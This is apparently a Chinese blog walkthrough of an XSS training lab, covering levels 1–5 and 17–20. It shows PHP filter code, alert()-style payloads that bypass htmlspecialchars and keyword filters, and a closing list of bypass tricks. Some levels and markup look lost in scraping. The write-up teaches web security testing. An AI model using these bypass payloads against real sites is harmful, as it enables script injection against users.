XSS挑战之旅

level-1

  • 在“name=”后面写什么,网页就显示什么。
    XSS挑战之旅_第1张图片

  • 查看源码,发现写入的数据在<>标签的外面,那么name的值直接换成JS:




    XSS挑战之旅_第2张图片

level-2

  • 此处为搜索型的xss,分析代码,使用的是get方法,从url中接收一个keyword搜索参数,此处用到了一个过滤函数htmlspecialchars(),这个函数把预定义的字符转换为HTML实体,“>”和“<”转义了,但value里面没有过滤掉。
  • 后端代码描述:
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'<center>

XSS挑战之旅_第3张图片

  • 一方面,黑名单绕过——不使用被过滤的符号,使用js的事件,如:" onmouseover=alert(2) >click。还需要注意的地方就是前面的符号闭合。
  • 另一方面,利用value里面没有过滤掉的漏洞。">alert(111),仍然是注意前面的闭合,就可以了。
    XSS挑战之旅_第4张图片

level-3

  • 同理于level-2,也是用来过滤函数htmlspecialchars(),就连value里面的也过滤了。
    XSS挑战之旅_第5张图片
  • 尖括号和双引号:>、<、"都会被过滤,是能是避开这些符号了。但没有过滤'(单引号)。所以,此处尝试js语句,' onmouseover=alert(666)//' onfocus=javascript:alert(1) '测试,后面无法闭合,所以使用了注释“//”。
    XSS挑战之旅_第6张图片

level-4

  • 从后台源码可以看到,传入进去的值经过了两个函数的处理,str_replace(">","",$str),此函数是将变量str中的字符>转换为空,转换时区分大小写;同样也把<转换为空,然后再经过函数的过滤转化,这时要在没有符号“<>”的情况下构造语句,并且不被htmlspecialchars()函数影响。所以这里可以构造一个输入到文本框后出现相应的事件。
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'<center>
  • Payload:
    " onfocus=alert(666) autofocus="
    \"onfocus=javascript:alert(1) '
    " onclick=alert(666)//
  • onfocus事件:定义的事件将在对象获得焦点时触发,这里指input标签获得焦点。
  • autofocus属性:input标签的属性,当页面加载input标签,自动获得焦点。
  • 焦点:这里指你的光标的位置,也就是说当你的光标出现在input文本框这里,将进行onfocus事件的发生。

level-5

  • 从下图中提交,响应显现:转换为on转换成o_n,还用到了过滤函数htmlspecialchars()。所有就无法使用:
<script>alert("666")script>
οnfοcus=javascript:alert(1)
οnclick=alert(666)

XSS挑战之旅_第7张图片

  • 后端过滤语句:
$str2=str_replace(",",$str);
$str3=str_replace("on","o_n",$str2);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'<center>
  • 但是没有过滤尖括号>、<。可以使用的payload:">
    • 成功执行
      XSS挑战之旅_第20张图片

    level-17

    • 查看页面,也只有在URL中有两个传参点:arg01、arg02。在此插入XSS语句。
    • 插入的语句,后端有过滤。应该是htmlspecialchars()函数。
      XSS挑战之旅_第21张图片
    • 绕过,用on事件触发。Payload:
    onmouseout=alert(666)
    onmouseover=alert(666)
    

    XSS挑战之旅_第22张图片

    level-18

    • 与level-17相同。

    level-19

    XSS挑战之旅_第23张图片
    arg01=version&arg02=Click Here

    XSS挑战之旅_第24张图片

    level-20

    XSS挑战之旅_第25张图片
    arg01=id&arg02="))}catch(e){}if(!self.a)self.a=!alert(666)//&width&height

    总结:

    一、 xss注入大多在标签中进行
    1、简单构造标签为
    2、更好用的标签:111
    3、更好用的参数:onmouseover=alert(1)

    二、利用单双引号闭合标签。
    三、关键字过滤问题:
    1、大小写绕过(html不区分大小写),
    2、双写绕过(只删除一次关键字的过滤)
    3、html字符编码转码绕过(特殊符号,关键字字母),
    4、回车空格替换。

    四、html注释://
    五、利用信息头文件注入 如:referer, cookie, user_agent。
    六、angular js中的ng-include问题:引入问题页面。
    七、flash xss中的getURL,navigateToURL:引入问题页面,或js代码。

你可能感兴趣的:(Web,Application漏洞)